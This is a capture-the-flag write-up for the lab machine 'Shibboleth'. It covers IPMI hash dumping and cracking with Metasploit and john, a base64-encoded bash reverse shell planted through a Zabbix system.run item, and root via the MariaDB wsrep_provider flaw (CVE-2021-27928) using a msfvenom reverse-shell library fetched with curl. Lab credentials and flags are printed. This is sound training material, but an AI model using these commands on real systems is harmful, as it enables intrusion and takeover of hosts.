Shibboleth
8 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.124
- Release: 13 / 11 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.124 -p 80
Nmap scan report for 10.10.11.124
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: FlexStart Bootstrap Template - Index
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.04 seconds
This machine has port 80 (HTTP) open.
Web enumeration
If we go to http://10.10.11.124
, the server will redirect to http://shibboleth.htb
. After setting the domain in /etc/hosts
we can access and view this site:
We can apply som fuzzing with ffuf
to enumerate some routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://shibboleth.htb/FUZZ -e .php,.html
index.html [Status: 200, Size: 59474, Words: 17014, Lines: 1324, Duration: 109ms]
blog.html [Status: 200, Size: 19196, Words: 5073, Lines: 426, Duration: 130ms]
assets [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 107ms]
forms [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 123ms]
.html [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 98ms]
.php [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 98ms]
[Status: 200, Size: 59474, Words: 17014, Lines: 1324, Duration: 97ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 88ms]
And also some subdomains:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.124 -H 'Host: FUZZ.shibboleth.htb' -fc 302
monitor [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 121ms]
monitoring [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 107ms]
zabbix [Status: 200, Size: 3689, Words: 192, Lines: 30, Duration: 457ms]
All subdomains are the same website, a Zabbix login form:
But we can’t do anything here yet, since we do not have credentials and there is no clear vulnerability.
UDP enumeration
At this point, we don’t have anymore to investigate, so let’s run a UDP port scan:
# nmap -sU --top-ports 100 -n -Pn -vv 10.10.11.124
Password:
Starting Nmap 7.92 ( https://nmap.org )
Initiating UDP Scan
Scanning 10.10.11.124 [100 ports]
Increasing send delay for 10.10.11.124 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.11.124 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.11.124 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.11.124 from 200 to 400 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.11.124 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
Discovered open port 623/udp on 10.10.11.124
Completed UDP Scan, 102.42s elapsed (100 total ports)
Nmap scan report for 10.10.11.124
Host is up, received user-set (0.096s latency).
Scannedfor 102s
Not shown: 98 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
138/udp open|filtered netbios-dgm no-response
623/udp open asf-rmcp udp-response ttl 63
Nmap done: 1 IP address (1 host up) scanned in 102.46 seconds
Raw packets sent: 246 (13.189KB) | Rcvd: 110 (9.315KB)
And we discover that port 623 (UDP) is open, which stands for IPMI.
IPMI exploitation
HackTricks has some information regarding this service. Most of the recognising and exploitation techniques are covered by Metasploit Framework, so let’s start.
First, we will check the version of IPMI:
$ msfconsole -q
msf6 > use auxiliary/scanner/ipmi/ipmi_version
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options
Module options (auxiliary/scanner/ipmi/ipmi_version):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 623 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
msf6 auxiliary(scanner/ipmi/ipmi_version) > set RHOSTS 10.10.11.124
RHOSTS => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_version) > run
[*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts)
[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
There is an exploit for IPMI that allows us to dump password hashes for common usernames:
msf6 auxiliary(scanner/ipmi/ipmi_version) > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.10.11.124
RHOSTS => 10.10.11.124
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set OUTPUT_JOHN_FILE ./hash
OUTPUT_JOHN_FILE => ./hash
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:0e60be0702060000aca06cad807b13048ed6f894c5c144e3345d9d440c8d5575c76919f4198e2e1ba123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:27d7c9a280380fba72efc55babb4fdf216fdfc87
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
And there we have it, now we can crack the hash with john
and rockyou.txt
:
$ cat hash
10.10.11.124 Administrator:$rakp$3aab2bf5020a000061799fc2151cd71322e3e5a0bd03da5efae02e1e1f6524e75b9ecc9dca02d6a4a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72$81a9602adaa1d61f8c24cfbf1ef0c03df095b945
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 128/128 ASIMD 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepumkinpie1 (10.10.11.124 Administrator)
1g 0:00:00:01 DONE 0.5154g/s 3812Kp/s 3812Kc/s 3812KC/s iloveqmc..ilovepatri
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And there’s the password.
Foothold on the machine
Now we can access Zabbix using credentials Administrator:ilovepumkinpie1
:
The way to exploit Zabbix is to create a new item (going to “Configuration”, selecting “Hosts” and clicking in “Create item”).
There, we will see a form like the one below, and we must enter a name and a key, where we will put a command that will be executed every minute. For instance, a reverse shell:
system.run[echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash,nowait]
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
And we will see that the item is created:
Now we must wait some seconds until the connection hits nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.124.
Ncat: Connection from 10.10.11.124:44284.
bash: cannot set terminal process group (859): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@shibboleth:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
zabbix@shibboleth:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
zabbix@shibboleth:/$ export TERM=xterm
zabbix@shibboleth:/$ export SHELL=bash
zabbix@shibboleth:/$ stty rows 50 columns 158
System enumeration
We see that there is a user called ipmi-svc
and that it owns the user.txt
flag:
zabbix@shibboleth:/$ ls /home
ipmi-svc
zabbix@shibboleth:/$ find / -name user.txt 2>/dev/null
/home/ipmi-svc/user.txt
zabbix@shibboleth:/$ cat /home/ipmi-svc/user.txt
cat: /home/ipmi-svc/user.txt: Permission denied
We can switch to that user reusing the password found before (ilovepumkinpie1
):
zabbix@shibboleth:/$ su ipmi-svc
Password:
ipmi-svc@shibboleth:/$ cd
ipmi-svc@shibboleth:~$ cat user.txt
bc3f4542527b43d71e100c426b445674
Its home directory shows a .mysql_history
file, that is not commonly seen in other boxes:
ipmi-svc@shibboleth:~$ ls -la
total 32
drwxr-xr-x 3 ipmi-svc ipmi-svc 4096 Oct 16 12:23 .
drwxr-xr-x 3 root root 4096 Oct 16 12:24 ..
lrwxrwxrwx 1 ipmi-svc ipmi-svc 9 Apr 27 2021 .bash_history -> /dev/null
-rw-r--r-- 1 ipmi-svc ipmi-svc 220 Apr 24 2021 .bash_logout
-rw-r--r-- 1 ipmi-svc ipmi-svc 3771 Apr 24 2021 .bashrc
drwx------ 2 ipmi-svc ipmi-svc 4096 Apr 27 2021 .cache
lrwxrwxrwx 1 ipmi-svc ipmi-svc 9 Apr 28 2021 .mysql_history -> /dev/null
-rw-r--r-- 1 ipmi-svc ipmi-svc 807 Apr 24 2021 .profile
-rw-r----- 1 ipmi-svc ipmi-svc 33 Apr 13 05:29 user.txt
-rw-rw-r-- 1 ipmi-svc ipmi-svc 22 Apr 24 2021 .vimrc
This is the version of MySQL (MariaDB):
ipmi-svc@shibboleth:~$ mysql --version
mysql Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
Privilege escalation
If we do a bit of research, we will find CVE-2021-27928, which leads to Remote Code Execution (RCE) as root
because we can set a malicious shared library to be used by MariaDB.
To exploit MariaDB we need a valid user. We can search for configuration files that Zabbix needs:
ipmi-svc@shibboleth:~$ find / -name zabbix\* -type f 2>/dev/null | grep -v sys
/var/lib/dpkg/info/zabbix-frontend-php.md5sums
/var/lib/dpkg/info/zabbix-agent.md5sums
/var/lib/dpkg/info/zabbix-agent.postrm
/var/lib/dpkg/info/zabbix-release.md5sums
/var/lib/dpkg/info/zabbix-release.conffiles
/var/lib/dpkg/info/zabbix-server-mysql.list
/var/lib/dpkg/info/zabbix-sender.md5sums
/var/lib/dpkg/info/zabbix-server-mysql.postrm
/var/lib/dpkg/info/zabbix-release.list
/var/lib/dpkg/info/zabbix-agent.prerm
/var/lib/dpkg/info/zabbix-agent.conffiles
/var/lib/dpkg/info/zabbix-agent.postinst
/var/lib/dpkg/info/zabbix-server-mysql.postinst
/var/lib/dpkg/info/zabbix-get.list
/var/lib/dpkg/info/zabbix-sender.list
/var/lib/dpkg/info/zabbix-frontend-php.list
/var/lib/dpkg/info/zabbix-agent.list
/var/lib/dpkg/info/zabbix-get.md5sums
/var/lib/dpkg/info/zabbix-frontend-php.prerm
/var/lib/dpkg/info/zabbix-server-mysql.md5sums
/var/lib/dpkg/info/zabbix-frontend-php.postinst
/var/lib/dpkg/info/zabbix-server-mysql.conffiles
/var/lib/dpkg/info/zabbix-frontend-php.postrm
/var/lib/dpkg/alternatives/zabbix-frontend-font
/var/log/zabbix/zabbix_agentd.log.1
/var/log/zabbix/zabbix_agentd.log
/var/log/zabbix/zabbix_server.log
/var/log/zabbix/zabbix_server.log.1
/run/zabbix/zabbix_server.pid
/run/zabbix/zabbix_agentd.pid
/etc/zabbix/zabbix_agentd.conf
/etc/zabbix/zabbix_server.conf.dpkg-dist
/etc/zabbix/zabbix_server.conf
/etc/zabbix/web/zabbix.conf.php
/etc/zabbix/zabbix_agentd.conf.dpkg-dist
/etc/logrotate.d/zabbix-server-mysql
/etc/logrotate.d/zabbix-agent
/etc/apt/trusted.gpg.d/zabbix-official-repo.gpg
/etc/apt/sources.list.d/zabbix.list
/etc/init.d/zabbix-agent
/etc/init.d/zabbix-server
/usr/bin/zabbix_sender
/usr/bin/zabbix_get
/usr/share/zabbix/zabbix.php
/usr/share/zabbix/conf/zabbix.conf.php.example
/usr/share/man/man8/zabbix_server.8.gz
/usr/share/man/man8/zabbix_agentd.8.gz
/usr/share/man/man1/zabbix_sender.1.gz
/usr/share/man/man1/zabbix_get.1.gz
/usr/lib/tmpfiles.d/zabbix-server.conf
/usr/lib/tmpfiles.d/zabbix-agent.conf
/usr/sbin/zabbix_agentd
/usr/sbin/zabbix_server
There is one called /etc/zabbix/zabbix_server.conf
that seems interesting. In fact, it contains the credentials we are looking for:
ipmi-svc@shibboleth:~$ grep -iC 2 password /etc/zabbix/zabbix_server.conf
DBUser=zabbix
### Option: DBPassword
# Database password.
# Comment this line if no password is used.
#
# Mandatory: no
# Default:
DBPassword=bloooarskybluh
### Option: DBSocket
At this point, we can enter MySQL:
ipmi-svc@shibboleth:~$ mysql --user=zabbix --password=bloooarskybluh
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2121
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> exit
Bye
But we want to get a root
shell. For that, we need to generate a payload for a reverse shell in an ELF shared library format and upload it to the machine:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.17.44 LPORT=5555 -f elf-so -o rev.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: rev.so
ipmi-svc@shibboleth:~$ cd /tmp
ipmi-svc@shibboleth:/tmp$ curl 10.10.17.44/rev.so -so rev.so
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.124 - - [] "GET /rev.so HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
Then, we can use it to gain RCE:
ipmi-svc@shibboleth:/tmp$ mysql --user=zabbix --password=bloooarskybluh --execute='SET GLOBAL wsrep_provider="/tmp/rev.so";'
ERROR 2013 (HY000) at line 1: Lost connection to MySQL server during query
And we get the connection in nc
:
$ nc -nlvp 5555
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.11.124.
Ncat: Connection from 10.10.11.124:38120.
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@shibboleth:/var/lib/mysql# ^Z
zsh: suspended ncat -nlvp 5555
$ stty raw -echo; fg
[1] + continued ncat -nlvp 5555
reset xterm
root@shibboleth:/var/lib/mysql# export TERM=xterm
root@shibboleth:/var/lib/mysql# export SHELL=bash
root@shibboleth:/var/lib/mysql# stty rows 50 columns 158
root@shibboleth:/var/lib/mysql# cat /root/root.txt
59607b79a008a6d32f911ad9b1461d57
root@shibboleth:/var/lib/mysql#